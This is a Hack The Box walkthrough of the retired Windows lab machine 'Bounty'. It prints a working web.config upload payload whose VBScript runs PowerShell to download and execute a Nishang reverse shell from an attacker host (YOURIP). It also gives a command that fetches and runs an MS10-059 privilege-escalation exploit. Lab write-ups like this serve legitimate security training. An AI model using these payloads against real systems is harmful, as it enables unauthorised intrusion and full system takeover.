Hack The Box · Windows Machine
Bounty
| Name | Bounty |
|---|---|
| Release date | 16 Jun 2018 |
| Retire date | 27 Oct 2018 |
| OS | Windows |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| Creator | mrb3n |
| CherryTree file | Download and remove the .txt extension |
Enumeration
nmap -sC -sV -oA ./bounty 10.10.10.93The scan exposes only Microsoft IIS 7.5 on TCP 80. Directory enumeration identifies transfer.aspx and the uploadedfiles directory.
Initial access
A crafted web.config removes the normal extension restriction and maps configuration files through ASP. The embedded VBScript launches PowerShell and downloads a Nishang reverse-shell script.
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://YOURIP/Invoke-PowerShellTcp.ps1')")
%>After uploading the file, start a Netcat listener and request the uploaded web.config to receive the user shell.
Privilege escalation
systeminfo and Windows Exploit Suggester identify MS10-059. Transfer the exploit with PowerShell and execute it against a waiting listener:
(new-object net.webclient).downloadfile('http://YOURIP/MS10-059.exe', '\users\merlin\appdata\local\temp\ex.exe')
.\ex.exe YOURIP PORTThe callback runs as NT AUTHORITY\SYSTEM, providing access to both flags.
